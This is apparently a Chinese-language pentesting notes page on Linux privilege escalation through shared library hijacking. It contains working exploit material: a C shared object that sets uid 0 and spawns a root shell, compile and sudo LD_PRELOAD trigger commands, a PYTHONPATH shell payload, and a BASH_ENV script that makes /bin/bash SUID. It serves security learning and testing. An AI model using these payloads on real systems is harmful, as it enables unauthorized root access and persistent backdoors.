> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking.md).

# 共享库劫持

共享库劫持会滥用动态加载器：当特权二进制文件加载一个缺失、可写或由攻击者控制的共享对象时。恶意 `.so` 可以以加载进程的权限执行代码。

## 方法

* 使用 `ldd`, `strace`，或错误输出，以查找缺失或可写的库。
* 确认库搜索路径，以及特权二进制是否加载了受控对象。
* 编译一个最小的共享对象载荷，并触发特权二进制。

## 快速检查

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD 和 LD\_LIBRARY\_PATH

当 sudo 规则保留加载器变量，或特权执行路径允许受控的库搜索路径时，恶意共享对象可以以特权用户身份执行。

创建一个最小的共享库：

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

编译它：

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

仅在目标执行上下文确实保留或遵守加载器变量时使用：

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo 环境变量

检查 sudo 是否保留危险变量：

```bash
sudo -l
```

有趣的 `env_keep` 值包括：

| 变量                | 利用思路                                  |
| ----------------- | ------------------------------------- |
| `LD_PRELOAD`      | 在正常库之前加载恶意共享对象。                       |
| `LD_LIBRARY_PATH` | 将库查找重定向到攻击者控制的路径。                     |
| `PATH`            | 通过攻击者控制的二进制文件强制执行相对命令。                |
| `PYTHONPATH`      | 在由 sudo 运行的 Python 代码中加载恶意 Python 模块。 |
| `PERL5LIB`        | 在由 sudo 运行的 Perl 代码中加载恶意 Perl 模块。     |

### PYTHONPATH 示例

如果某条 sudo 规则运行 Python 并保留 `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV 示例

如果某个特权程序运行 `sh` 以某种方式会加载 `BASH_ENV`，请用受控脚本测试：

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>libwelcome.so 共享库劫持</h4></td><td>用于 Linux 权限提升的共享库劫持（libwelcome.so）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/d7cfd49a60bd026d8ff0cf691d8869a87e1b09ce">/pages/d7cfd49a60bd026d8ff0cf691d8869a87e1b09ce</a></td></tr></tbody></table>


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